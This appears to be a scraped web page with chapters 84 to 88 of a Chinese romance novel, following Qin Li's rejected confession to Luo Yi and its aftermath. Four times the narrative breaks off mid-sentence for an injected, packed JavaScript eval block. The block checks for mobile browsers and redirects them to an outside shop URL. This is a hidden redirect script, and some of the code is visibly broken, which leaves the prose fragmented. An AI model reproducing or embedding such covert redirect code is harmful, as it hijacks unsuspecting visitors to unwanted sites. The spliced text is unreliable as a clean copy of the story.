;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370214|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,埃玛不再保留她的蓝发,开始专注她的绘画事业,交际圈越来越广,阿黛尔也越来越难融进去。两个人渐行渐远,到最后终究是出轨、吵架、分离。 故事的结局,埃玛开了画展,其中有一副是曾经作为她缪斯女神的阿黛尔。阿黛尔穿了蓝色裙子来见她,想要复合未果,在画展盛大开幕时离开,顺着街道越走越远。 秦离曾经看过一遍,当时沉浸在埃玛的美貌和两人如梦似幻的热恋之中,对于两人的分离,也更多怪罪于阿黛尔的出轨。毕竟这是不可原谅的错误。 但再看一遍,她突然开始心疼阿黛尔。埃玛的朋友聚会上,阿黛尔是如此的格格不入和不知所措,只能尴尬地应着笑,在结束之后一个人收拾残局。 她太寂寞了。 看完电影,秦离情绪有些低落。她问洛依:“你觉得两人走到最后这个地步,是谁的问题?” “姬姥爱上直女的悲剧啊,”洛依的想法和她当年类似:“即使是埃玛这么好看的人,在恋爱里还是不免被背刺,最后对方还是要跟个男的出轨。不过阿黛尔一开始也是被她的帅气所吸引吧,热恋期结束,激情褪去后,就很容易被生活打倒了。现实都是如此,久了就没那么爱了。” “爱情总是不长久的。” 秦离想到了那句歌词:“爱情是多么美好,但是不堪一击。”② 她忍不住跟洛依争执起来:“但一开始,是埃玛将无忧无虑的阿黛尔拉进她的世界。当她将她驯服后,又放任她独自去面对这陌生世界里的风波。埃玛在浪荡够了可以回归现实,阿黛尔却被遗留在那片梦幻的记忆里,无法自拔。如果没遇见埃玛,或许阿黛尔在自己的人生轨迹上一帆风顺地走着,不会在拥有后又被剥夺。” “这太残忍了。” 洛依的看法出乎意料地理性:“没有谁能为别人的人生负责,一辈子保护她,天真的人就是不可避免会遭遇厄运。被宠得太厉害,一开始就捧到高处,跌落的时候会很痛很痛。” 秦离不赞同:“如果是我喜欢的人,我只想一直对她很好很好。她是天真的,那就一直天真快乐就好,不需要蜕变。” 彼时,秦离仍觉得,只要双方都有心维持爱情,一切外因都是可以克服的。更重要的是,她已经不是当年那个幼稚的她了。 “是吗……”洛依没和她继续纠结这个话题,只感叹道,“那被你喜欢一定很幸福。” 秦离脸微红,害羞地笑着。 这次之后,两人单独行动的时刻变得越来越多。学校里没有约会的地方,秦离就带着她去到各个无人角落,聊天、看电影、听歌、吃东西、甚至躺在草坪上看着天空发呆,做着一切无聊却又干不腻的事。 她们避开所有人,在校园的各个角落里玩闹,欢笑着。 尤克里里已经到了,但秦离还没做好准备。 她在午间傍晚时刻,一个人偷偷练了许久的琴,直到比较熟练了,才终于在离培训结束还有一周多的时候,向洛依发出邀请。 “今天点名结束后等我,我有事跟你说。” 85. Chapter 85 “嗯?这次又是做什么啊?” “秘密~结束后你等我就是了。” “好呜~” 月亮挂上树梢,今晚的点名显得格外漫长,秦离看着负责人的嘴叭叭动着,恨不得直接将他敲晕。 过了一阵子,天空突然下起了小雨,看雨点子还有逐渐变大的势头。 该死的,出师不利! 秦离在心中咒骂老天爷,只希望藏在亭子桌子下的尤克里里不要被淋湿。 又过了几分钟,负责人终于讲完了,也可能是看雨下大了,结束点名环节。 人群往楼道里涌,秦离逆着人流朝洛依那边挤过去。走近了,她听见谢依霖在问洛依:“下雨了,你不和我们一起上去吗?” 洛依摇头,声音穿透雨水显得很清晰:“不了,我还有事,你们先走吧。” 谢依霖疑惑的表情在看见秦离来后变成了了然。她的目光在两人身上转了转,道了声后拉着田薇走了。 秦离很欢喜,卑劣地产生了点战胜对手的喜悦感。 洛依一只手臂搭在额头上,挡住落在眼镜上的雨水,问秦离:“我们要去哪里?” “去湖边。” 秦离牵过她另一只手,带她避过夜晚地面的水坑。 想到接下来要做得事,秦离很紧张,心口发热,将洛依的手也握得很紧。 洛依没有拒绝,也没有回握,只是任由她牵着,顺着她力道一同朝湖的方向跑去。她们的手在雨水里同样冰冷,只有皮肤触碰的位置在发热。 跑到亭子时,两人都一身水,裤脚一片泥泞,发梢在滴水。 借着月光,秦离看见了洛依略显狼狈的样子——自己或许也是如此,才有些懊恼。不该这么冲动的,洛依的身体本来就不好,今晚淋了雨,可能又要生病了。 洛依倒是不在意:“就一点雨而已,我也没有那么瓷娃娃啦。所以到底是什么惊喜啊,神神秘秘的。” 看见洛依清澈的眼神,秦离更紧张了,四肢也开始发软。 她捏了捏手心,找了块没被雨淋到的位置让洛依坐下,又从桌子下取出尤克里里。还好,这里是安全地带,琴也没被淋到。 “哇,今天要弹尤克里里吗?说起来,你上次是不是问过我喜欢什么,要弹张悬的歌吗?” 明月当空。 今晚的月亮很亮,将世间万物都罩上一层柔和的滤镜,洛依的每一个表情和动作都在月下显得无比灵动。连珠似的雨水像是一片帘布,将亭子以外的世界都罩在其中,只有两人独处的这个狭小空间是唯一的庇护。 “……嗯,我最近才刚练的,可能弹得不太好。” “没关系。”洛依眨眨眼,看着很期待。 秦离深吸口气,弦动,音起。 “就快懂这一秒钟 怎么举动怎么好好和你过 …… 你知道你曾经让人被爱并且经过 毕竟是有着怯怯但能给的沉默 在所有不被想起的快乐里 我最喜欢你”① 她已经练了一段时间了,但洛依面前还是太紧张,弹错了好些音。 洛依缩在长椅上,歪着头靠着柱子,看着她,听得很认真。 “是张悬的《喜欢》啊,”结束了,洛依才夸道,“很好听~” “对,是……喜欢。” 已经唱了许多遍的旋律被秦离咬在嘴里,她才后知后觉,这歌词似乎寓意并不是那么好,但已经到这时候了,她已无法再遮掩自己的心意,无法再忍耐下去。 她看着洛依的眼睛,将琴抓得很紧,汲取一点力量。 “洛依,我有话想对你说。” 秦离与平日不同的态度让洛依预感到了什么。她的表情有些为难,眼神飘忽,好半天才低声应了:“嗯,你……说吧。” 洛依的反应让秦离心里咯噔一下,感觉不妙。原本狂跳的心脏也慢慢落了下去,她苦笑着扶了扶额头,叹道:“我还没有说,就感觉好像已经被你拒绝了呢。” 洛依没吭声,只是身体不安地动了动,手环抱着身体。 已经不抱希望了,秦离还是深吸口气,将心里话都说出来了:“洛依,我……喜欢你。” “你应该已经看出来吧,毕竟我表现得还是很明显。其实我知道,应该再多相处些时间后再告白的,但我实在是一刻也忍耐不了,想将我的心情全部告诉你。而且还有一周多,我们就要走了,之后也没法像现在这样每天都看见你。” “所以即使知道希望渺茫,我还是想将喜欢全部都说出来,至少……至少要让你知道。” "……嗯,"洛依依旧没有抬头,避开秦离的目光,含蓄道,“我们认识的时间太短了,而且,我……我不想要异地。” 洛依曾经说过,她过去每段恋爱都是异地,上一段更是拉锯式的痛苦,让她不想再轻易建立恋爱关系。 秦离都知道的,但总忍不住想试试,幻想自己是个例外。 她仍不死心地想要个最终判决:“没关系,我没有勉强你的意思,我只是……想要个答案,不管是什么样的。” 看得出来,洛依真的很不擅长拒绝。她保持着这个别扭的姿势沉默了许久,才在秦离灼热的目光下吞吐着:“抱歉……我现在确实还无法好好开始一段恋爱关系,这是我的问题。” 含蓄的拒绝说出口,她看起来反倒比秦离显得更自闭。 心里的石头终于落地了,秦离笑容苦涩,快速抹过那一点忍不住的眼泪,眨眨眼,还是将所有涩意都强忍了下去。她尽量保持声音平稳,不让洛依察觉异常,道:“我知道了,没关系。” “这不是你的问题,没有谁规定收到表白就一定要接受的。” “你真的很可爱,什么都很好,我想喜欢上你也是件再正常不过的事了,不管怎么样,我都希望你能好好的,开开心心的。以后你到南城来可以找我玩,有任何需要帮助的时候都可以找我。我也没多少能耐,可能就是稍微多两年社会经验,但如果是我能做到的,我都想帮你。” “我想让你开心。” 秦离这话说得像是诀别,事实上她也是这么想的。洛依拒绝了她,她也难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370215|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以和喜欢的人单纯做朋友,只能选择远离。但如果是洛依的话,来找她,她恐怕很难拒绝。而且即使没在一起,她依旧想让她能永远天真快乐,想为她解决掉所有烦恼。 虽然这么想也是她自作多情了,毕竟培训一结束,两人去往不同的城市,还会有多少联系呢。 “你怎么这样说……”洛依抬起头,显然不满她这种语气,“你说得好生疏,像是我们就不再联系,而且说什么只有需要的时候才找你,你也不是工具,我……我不想这样子……” 秦离看见她的脸了,这才注意到她眼睛红红的,泪水顺着脸颊往下滴落,看着比她这个被拒绝的人难过了。 秦离哭笑不得,本能想要为她拭去眼泪又忍住了,只将纸巾递了过去。 这么一遭出来,秦离的情绪倒是比之前好些了,冷静地将心中想法说了出来。 “所以要么是在一起,要么就是不再联系。” 面对喜欢的人,她过去都是这么做的,无一例外。 洛依将被眼泪打湿的纸巾揉成一团,捏在手心,声音弱弱的:“就没有其它选择了吗?” 她看着可怜巴巴的,眼神忧郁,望向秦离的目光比月光更加柔和易碎。 “……”秦离无声叹了口气,原本坚定的心开始摇摆,声音也放得轻柔,“有……” “其它选择就是……维持现状吧。” “那能维持现状吗?” 对着洛依,秦离总是难以说出否定的话,点点头,于是洛依脸上终于有了些笑意。 一时间,两人之间只有沉默。雨势依旧很大,打在叶子上啪嗒直响。 秦离不想气氛这么尴尬,于是提起:“我还练了几首曲子,要听吗?” “好呀。” 洛依缩在长椅上,环抱着膝盖,望了过来,神情专注。 就是这样的眼神,让秦离总是无法狠下心拒绝。她能感觉到自己对洛依来说或许是有些特别的,不过…… 算了,唱歌给她听吧。 雨夜的风带着一丝凉意,秦离的嘴唇也有些苍白。她一首接着一首,将练过的见过的都弹唱给洛依听。 洛依就这么一直望着,没有挪开过视线。两人说到许多歌,提到过的,秦离就现搜谱子,磕磕绊绊也弹出来了。 秦离看得出来,洛依很喜欢。 这样就够了。 到深夜,雨慢慢变小,秦离看看时间,已经快一点了。 她主动问道:“很晚了,要回去了吗?” 洛依犹疑着,有些恋恋不舍。突然,她打了个喷嚏。即使是夏日,温度还是有点低,更不用说她淋了雨。 秦离担心她生病,想起自己包里还带了口琴,道:“最后一首,我吹口琴给你听吧。我就练了这么一首,口琴我是真的不在行。”只是因为小巧方便,她之前就一并买了。 “好呜。” 三三两两的音响起,断断续续,空灵悠扬,飘在空中,随着风一起吹散不见。 这天起,直到培训最后一天前,秦离都没再和洛依单独相处,像之前那样。 86. Chapter 86 那个夜晚回去后,秦离躺在床上,用被子捂住脸,整个人缩成一团,整夜没有睡着。好像有无形的时钟挂在虚空中,她就这么睁着眼,看着时针滴答走着,每一秒的流逝都无比清晰。 她以为被拒绝没什么,自己可以冷静应对。毕竟都二十七岁的人,不至于作出为了爱情要死不活的样子。 但黑夜真的好长,时间被延长,连痛苦都变得好漫长。 第二天,秦离如同行尸走肉般起床、行走、吃饭,跟随所有人的方向行动。她觉得身体的所有能量好像都被无形的黑洞吸走了,连抬一抬手指都变得好累。 她看见洛依了。 洛依看着还是和平常一样,跟身边人说笑着,似乎没有受昨晚事的影响,也没有生病。 太好了。 洛依望过来,看见她了。秦离强打起精神,笑着和她打招呼,不想让她发现自己的异常。 洛依的眼睛依旧亮晶晶的,像是闪着星光。看见秦离,她愣了下,随即小跑过来,担忧地问道:“你怎么了,看着脸色不太好。” 秦离不知道自己是什么样子,或许真的很糟糕吧。她打着哈哈:“没事,可能是早上食堂吃的东西不对,肚子不太舒服。” “商大这破食堂确实不太行,你有肠胃的药吗,中午回去我给你拿点,还有些吃的,前几天我买了好多。” “好。”秦离都应着,笑得温柔心里却像刀割般难受。直到上课了,两人分开,她才松了口气。 她看见洛依依旧会觉得欢喜,但这欢喜却是被紧紧挤压在心脏上,带着窒息般的痛苦。这痛苦让她只能趴在桌上,勉强呼吸着。 好想结束这种痛苦。 明明之前还舍不得培训结束,希望和洛依相处的时间再多点,现在她却只想马上离开,忘却这里的一切。 至少让她喘口气,暂时忘却。 秦离没有再主动约洛依出来,洛依也没有问她。 发现这点后,秦离自嘲地笑着。果然一切都是自己自作多情,就算没有她,洛依的生活依旧没什么变化。不过好在,培训的最后一周多,所有课程都要考核,还有部分课程作业要上交了,将她的时间填得满满的。 两人之间发的消息也在变少,但没有中断。洛依还是会给她分享很多东西,给她送零食过来,这一点痕迹老是牵挂在秦离心里,让她无法彻底远离。 离培训结束还有五天,秦离给洛依发了消息,说五天后就不和她一起去博物馆了。 【欸,怎么突然又不去了呀?奶茶鼠大哭.gif】 【家里突然有急事,我得赶回去。】 发出后她又补了句:【下次吧,下次有机会我们再一起去。】 【呜,好吧。奶茶鼠失落.gif】 秦离戳了戳屏幕上的奶茶鼠,熄掉屏幕,看上桌上的小夜灯。这是她这几天刚买来的。实际上她并不是要赶回去,而是想去夜爬商城外不远的无名山。 这想法是突然冒出来的。 她这几天度日如年,做什么,和谁来往都觉得好疲累,只想找个没人的地方,挖个坑将自己埋起来。在网上看到无名山就在附近后,她突然就想去夜爬了。 她想带着尤克里里去,到山顶后看看日出,靠在石头上,在第一缕日光出来时弹着琴,唱着歌。 “带不走的留不下的 我全都交付她 让她捧着我在手掌 自由自在挥洒 如果有一个世界浑浊 的不像话 原谅我飞曾经眷恋太阳”① 然后就将对洛依的感情彻底丢掉,以后就当是多认识了个普通朋友吧。 她现在只想时间快快走,到那一天,太阳升起之后,便是全新的世界。 最后三天,所有人都很忙,忙着课程收尾、饭卡结算、清点物品、归还资料。最后一天是个周五,上午开完结业会,大家办完所有手续就可以自行离开了。 好多人都在前一天晚上就收拾好行李,准备今天下午手续搞定就,只有少部分人要呆一晚才走。 秦离是最迫不及待想离开的那批。 终于要解放了,所有人脸上都洋溢着笑容。下午的楼道里很吵闹,到处是人声和行李箱的轮子声,大家互相告别着,重新回归各自的世界。 秦离和室友并不熟,客气地打过招呼后,她们都陆续离开了。 秦离很想赶快走,但她手续上出问题耽搁了下,快下午四点了才全办完,回宿舍换衣服,收拾最后的东西。 这时,外面已经不那么吵闹,人走了大半了。 培训时,秦离每天都是将长发盘起来,现在放下来后,形成天然的弧度她自己看着都有些陌生。 洛依发消息来时,她正在对着镜子戴耳钉。 三个月不戴,耳洞好像有些愈合了。她拿着耳钉戳了半天,都没找到耳后的洞,心中恼火。 洛依的消息就是这时候来的:【你还在宿舍吗?】 【在,不过马上要走了哦。】 【啊!那你等我,我马上过来。】 洛依来得很快。她敲门时,秦离心一慌,手上用力,耳针直接刺破了耳垂,渗出血珠。。 她也顾不得那么多了,吮去沾在手指上的血迹,忙去开门。 “哇——”洛依装扮跟平时差不多,看见门后的秦离惊呼,“你这身好漂亮。” 秦离今天穿了条白色波点的红色吊带长裙,配上微卷的长发,有着成熟女人的妩媚。走路时,发梢微微飘动,带着白茶花味的洗发水香味。 听见洛依的夸奖,她抿嘴笑着,脸颊上显出个小酒窝。 “你还不走吗?” 秦离看着洛依两手空空,边回到镜前准备戴另一只耳钉,边问道。 “我明天上午才走啦,本来也不着急,刚刚帮班上几个人搬行李到快递点去了,累得我一身汗。你呢,几点的飞机呀?” “还有一会,我差不多马上也要出发了。” 实际上,她没订飞机,准备离校就去无名山。 “这样哦。”洛依眼神飘忽,看着镜子里的秦离。 另外一边耳洞似乎也封住了,该死的。 秦离老找不到耳洞位置,又感受着身后洛依的视线落在身上,滚烫的,心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370216|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 焦躁。 “你这样穿,风格跟平时完全不一样,真的好好看。” 洛依又夸她了,今天她的赞美来得尤为得多。 秦离分神应着:“平时都得把头发盘起来,穿的都是最方便行动的,哪有精力打扮呢。”今天她好歹还涂了个口红呢。 “也是,这培训真是,把人累成狗。” 两人有一句没一句聊着,难得多数时候是洛依在说。 不知道过去多久了,秦离依旧没能找对耳洞位置,又狠不下心再次戳穿。这时,洛依突然道:“需要帮忙吗?” “啊,好。” 洛依拿过古铜色的麋鹿耳钉,让秦离微微屈身,一只手轻轻捏住了秦离的耳垂。 “你别动哦。” 洛依声音放得很柔弱,神情专注。 洛依凑得很近,秦离能看清洛依她的睫毛,根根分明,像把小蒲扇般闪着。她的呼吸浓烈而滚烫,自己好像也是,气息交缠,秦离不自觉深吸入肺叶。 洛依明明说她累了一身汗,秦离却觉得她身上依旧是那股熟悉的好闻的味道。 很奇怪,让秦离那么恼火的耳钉在洛依手上一下变得好乖巧。就那样轻轻一下,几秒的时间。 “好了。” 洛依很快远离,秦离心中失落。 她该走了。 洛依也看出来了:“要走了吗?” “嗯,时间差不多了。” 她沉默了片刻,突然道:“要抱一下吗?” “就,你不是要走了吗,下次见面也不知道是什么。虽然这次培训很烂,但能认识人还是很开心,我去跟大家告别的时候也都拥抱了的,就……” “好。” 秦离也是想的。 她上前,在确认洛依靠近后,才环抱住她,手轻轻放在她的背上。 洛依的身体好软,跟她想象中一样,就像布丁那样,她生怕动作重了将她伤到。 洛依抱的很实,紧紧靠在她怀里,声音闷闷的:“你回去之后,还是要给我发消息。” “好。” “有机会来春城找我玩。” “……好。” 秦离无声叹了口气,还是忍不住说着:“你也要好好照顾自己,不要再生病了,要什么都可以找我。” “嗯。” 再不舍,这个拥抱也结束了。洛依将秦离送到楼下,她等下还要继续去帮忙,没有再一道走了。 秦离拖着行李箱走着,转头看见洛依还站在原地,发现她回望后朝她挥手。 秦离突然觉得眼眶发酸,捏紧拉杆,磨蹭着往前走,直到转过个弯,身后一切都被树木遮挡着,什么也看不见了。 今天的天空阴沉沉的,风很大。 坐在去火车站的出租车上,师傅将车载音响声音调得很大,放的全是伤心的情歌。 秦离开着窗,或许车速太快,风太大,眼泪抑制不住地往外流着。 她突然觉得好累,什么都不想做,只想回家,回到最熟悉最安全的地方去。 “师傅,去机场。” 她要回家,只要回家。 87. Chapter 87 没有什么烦恼是一顿火锅解决不了的,如果不行,就两顿。 回南城连炫了五顿火锅后,秦离觉得灵魂得到了拯救,整个人都升华了。什么爱不爱的,什么活着的意义,什么自我追求,都是虚的。 吃着火锅,喝着小酒,唱着小曲,撸着小狗,这才是人生啊! 回到单位,领导同事都在对她夸夸,原来商大那边觉得她培训期间表现不错,专门发了表彰的奖状过来。虽然实际没什么用,但有夸总比没夸好嘛,秦离感慨,那不做人的负责人总算是做了件人事。 秦离所在部门包括科长在内一共七个人,跟其它科室比起来人员力量强的。加上工作不太多,她又刚入职,业务能力不够,没法独立负责大项工作,只能帮老同志们做些打杂的事,每天早早下班,是真的过上了朝九晚五的生活。 而且体制内晋升大多看资历,工资档次是跟着工龄走的,没什么业绩可争,领导以下众生平等。办公室大家都没什么做领导的心,因此氛围格外和谐。 这才是人该过的生活啊!以前自己都是熬的苦日子。 秦离坐在办公室里边喝茶,边摸鱼在手机上刷求职资讯。毕竟她还是想跑路的,至少要去个文化文学相关的岗位才有意思嘛。 入职这半年,除了培训不说,她现在最熟练的就是快速使用切纸机,修卡纸的打印机,安装调试碳粉,解决电线网路问题,调整公文格式。 秦师傅堂堂来袭! 什么3.7,3.5,2.8,2.6,行间距30磅,二号方正小标宋简体,三号黑体,三号楷体GB,三号仿宋GB,再TimesNewRoman来一遍,烂熟于心呢,哈哈~ 搞得写文时第一件事都条件反射变成了调字体格式,可恶,染上班味了! 唯一最不爽的,大概就是政治学习不断,天天学些虚头巴脑的理论讲话,用形式主义来记录形式主义,无趣得很。 秦离还在听同事们天天念叨什么台账检查,不过还好,跟她都没什么关系。 她只需要按时关电脑下班就可以了。 美滋滋,嘻嘻。 相比之下,洛依那边的日子就要难熬得多了。 主要是因为她们新上任的科长是个奇葩,立了很多莫名其妙的办公室规矩,最擅长抓小放大,揪着什么办公秩序不放,还想学地方企业搞个打卡机,迟到的全部写检讨。哦对了,要是呈文办件里发现有错别字了,也要在科务会上反思检讨。 还有什么办公室大领导没有走,她们就都不能走,事做完了也不能走。 奇葩科长的原话是,家里有娃有老人照顾的还好说,你们这些单身的回宿舍做什么,就知道躺着打游戏,不如在办公室坐下来好好学习下政策法规和政治理论,精进下自己的业务。他美其名曰为大家着想,反正她们这些非本地过来上班的人晚上又没家回,现在出去外面也是疫情肆意,能少出去就少出去,这是为大家的生命安全负责。 神经病,洛依抱怨着,他就是想在领导面前挣表现而已,想一出是一出。 更惨的是她们食堂也不咋地,明明说好的十二点开饭,十二点准点到时菜都没了一大半,只有残羹冷炙,偏偏傻叉科长还不准大家提前走,搞得人没一顿好饭吃,到了只能啃菜叶子吞白米饭。 洛依只能在宿舍囤了一大堆泡面零食,还买了个锅和冰箱,真是逼得人不得不自己自力更生。 哦,对,疫情原因,她们还不能点外卖,快递都必须在门外静置十二小时才能进来。 傻叉。 秦离对此只能表示深刻同情。 回来后,秦离和洛依的消息来往反而变多了,或许是因为两人的工作环境相似,连参加的许多会都是一样的,能对对方的经历感同身受。 洛依说,她跟妈爸说这些,她们都不太理解,还说刚工作辛苦点是正常的,特别是她刚入职,更是要积极勤快些,主动学习做事挣表现。她在地方工作的同学也不太能理解,觉得体制内又没有业绩要求,有什么压力,更不说现在疫情影响,好多企业受影响都在摆停,还有些降薪裁员的传闻。 最后,洛依就只能说给秦离听。 秦离深知,这些鸡毛蒜皮的小事能把人折磨成什么样子。 她偶尔也有加班的时候,而且往往是无意义加班。比如局里推材料把她叫上说是多学习下,然后她就坐在办公室里看着一群人把字从前面挪到后面,再挪到前面,一句话翻来覆去想用这个词还是用那个词。每多一个看材料的人,就多一种调整方式。 短短两页纸要推一个多小时,而她就是那个坐在电脑前的的无情打字员。 其实她都觉得差不多,这种咬文嚼字的事真的很没有意义,况且有时候某些修改对事情的影响真的那么大吗,不过是看领导的行文和阅读偏好了。 而且更烦的是办公室这些男的,每次坐在会议室里推材料时,烟就一根接着一根,吞云吐雾,搞得房间里乌烟瘴气。 秦离自己也是抽的。她这几年习惯抽点万宝路紫色包装的爆珠,但多是在跟朋友喝酒后,大家都要抽的时候。抽完回去她又会嫌弃身上一身烟味,必须洗头洗澡才行。有时候她也吐槽说,抽个烟简直是大工程,结束了还要沐浴焚香。 所以她就特别讨厌那些完全不顾及其她人的抽烟的人,特别是这些抽烟的男的,身上总有一股臭味,闻着看着都让人恶心。 但体制内这种烟酒社交似乎又是常态,她作为个职场小透明,又不能站出来说你们都不准抽了,只能默默戴上口罩,躲在最边上位置坐着,无声抗议。 每当这个时候——还有无意义的政治学习和开其它乱七八糟的会时——秦离就坚定了自己一定要跑路的心。 想着自己在绿色网站上的连载,秦离暗暗打着气。 啊啊啊啊,什么时候才能一本爆红,实现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370217|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 财富自由啊!这恐怕是她实现一夜暴富的唯一办法了。 目前看来,还在梦里,可恶。 “所以说,真的是很烦啊!” 洛依再次跟秦离吐槽工作上的奇葩人奇葩事时,秦离也点头赞同。她们好像同一个壕里的战友,只有彼此能相互理解。 这样的聊天让秦离觉得轻松,她习惯了每天早上醒来第一件事是和洛依道早安,上班吃饭出去玩,干什么都会随时关注她有没有发消息过来,晚上也是聊到一方要睡觉了才道晚安。 南城和春城间的八百多公里却没让两人的距离被拉远,连秦离的好友都知道她有这么个从早黏到晚的“心仪对象”。 生活安定下来后,秦离找回了些曾经的朋友。她们因为大学毕业后各奔东西而满满生疏,却在得知对方又回到南城生活后重建关系。 小学老师的杨颖,做财务的裴子霜,国企的许平平,她们四个人在初中时是最好的朋友,现在终于重聚,也都是孑然一身。大家都被生活磨平了棱角,说起工作眼里就失去了光,但仍默契地约定着每周六出来,做些放松身心的活动。 私影、按摩、在家三件套,是吃喝玩乐星期六党的最爱,能躺着绝不坐着,最后再洽顿美食,结束一天的疗养。 其中,独居的杨颖家是大家最常去的聚集地,大家也不可避免地知道了许多秦离和洛依的事。 这周六下午烈日炎炎,四人在空调屋里吹着风,靠在沙发上吃冰粉,电视上放着《巴霍巴利王》——印度片是近期几人的最爱。姐妹们都在“建言献策”。 杨颖先来:“我觉得她应该对你还是有意思的,说话的语气,内容,还有你们之前培训时的相处,怎么看都是有好感嘛。” 裴子霜考虑要更现实些:“你和她的工作看起来都不像是能轻易变动的样子,你们就算在一起了,异地的事情怎么解决。” 秦离嘀咕着:“她之前还说有可能要调来南城呢。而且我本来也没打算长干这份工作嘛,之后还是想跑路的,异地总能解决的。再说我俩还没在一起呢,也不一定有机会。” 裴子霜不太赞同:“你现在这个工作还是多好的,稳定,工资也不低,现在考公上岸越来越难了,为了感情的事放弃了不划算。” 许平平是最后一个发言的。她经常沉浸在自己的世界里,想法天马行空,说话也是慢腾腾的,像是《疯狂动物城》里的闪电。 “嗯?你喜欢她,那柳叶呢?” “……什么柳叶?” 杨颖和裴子霜齐刷刷看向秦离,好家伙,这又是她们不知道的一集了。 秦离挠了挠脸,支吾着:“就是,我之前射箭时认识的小姐姐,当时还有点好感。” 是她还没去培训的时候认识的,因为她常去那家箭馆是许平平介绍的,所以许平平也认识那个女生。去了一趟商城回来,秦离满脑子都是洛依,她今天不提都快忘记柳叶了。 88. Chapter 88 准确来说,秦离认识柳叶的时间比洛依就早了两个月。 柳叶是个清秀瘦弱的女生,个子不高,是箭馆的老人,也参加了不少比赛了。第一次看见她时,秦离是陪许平平去箭馆玩的,那时柳叶从外场进来,戴着护胸和鸭舌帽,手里拿着黑红相间的反曲弓,看着有些高冷。 和她对视的那刻,秦离有些微妙的在意。两人视线交错了一秒,秦离的姬达响了,猜对方大概率是弯的。 后来,秦离在箭馆办了卡,两人的来往也多了点,说得上话了。她喜欢和柳叶接触,也发现她果然是弯的,而且知道了初见时那点微妙是什么。 对方的眉目跟黎羽有些像,巧合的是跟黎羽还是一个星座。 当时秦离还自嘲了下,天蝎对双鱼的吸引力果然是无敌的,自己喜欢的依旧那个调调啊…… 她还给许平平发了个表情包过去。 【不要靠近天蝎,会变得不幸。】 【已经变得不幸。[小黄人哭]】 以上这些都是秦离自作多情的内心戏,毕竟她和柳叶别说来不来电,只是比陌生人好一点,加了微信,勉强算是普通朋友而已。只是她私心肯定是想发展下的,不说谈恋爱,能亲近亲近也好啊。 不过这都是去培训之前的想法了。认识洛依后,她早将柳叶忘个精光,今天要不是许平平提醒,她都想不起来。 秦离将来龙去脉都讲了,众人意味深长地哦着,杨颖倒是习以为常:“这像是你会做的事了。不过你是怎么想的,下定决心去追单位的小妹妹,还是放弃她继续发展射箭小姐姐这边。” 裴子霜的建议一如既往的现实:“反正都没确定关系,两边都接触着呗,哪边成了就定哪边。” 只有许平平还在慢腾腾地舀着冰粉:“我觉得柳叶挺好的,而且每次在箭馆,你们不是聊天挺多的吗?” 秦离不好意思说,那都是她主动凑过去的啊!都是来射箭的,对方也不会说完全不搭话吧。 而且好友们也是真的够偏向她的了,说得好像两边随便她选似的,现在看来,两边都对她没什么意思,是她一个人在这唱独角戏,自嗨着呢。 这时,手机响了,是洛依的消息。秦离看着熟悉的黑猫头像,心虚地按熄屏幕,声音突然大起来:“好了好了,我们不说这个,什么谈恋爱,八字还没一撇呢,还是专心搞钱比较现实。” “啊——我们什么时候才可以财富自由,不用上班啊——” 这句话引起全场共鸣,四个人悲痛地继续吃东西,注意力全部转移到了赚钱上。 毕竟什么都是虚的,只有卡里的余额永远是最实在的。 晚上,四个人挤在了杨颖那张超大size的床上,玩着手机聊着天,就像初中深夜时的女寝一样快乐。 慢慢的,有人手机落在枕头旁,困了,睡着了。只有秦离还在发着消息,和洛依。 洛依在熬夜打游戏,是很出名的一款,叫《模拟人生》。她截图了好多房间里小人的故事和设定,发给秦离看,两人的话停不下来,都不愿意说结束。 突然,秦离感觉小腹下坠般阵痛。 她隐隐有不妙的预感,轻手轻脚下床,挪去卫生间一看,果然是来例假了。 “呜……” 【难受,果然是生理期到了。】 秦离第一反应向洛依诉苦。 【看吧,我都说你差不多日子要到了,让你别吃冰粉,你不听我的哦。】 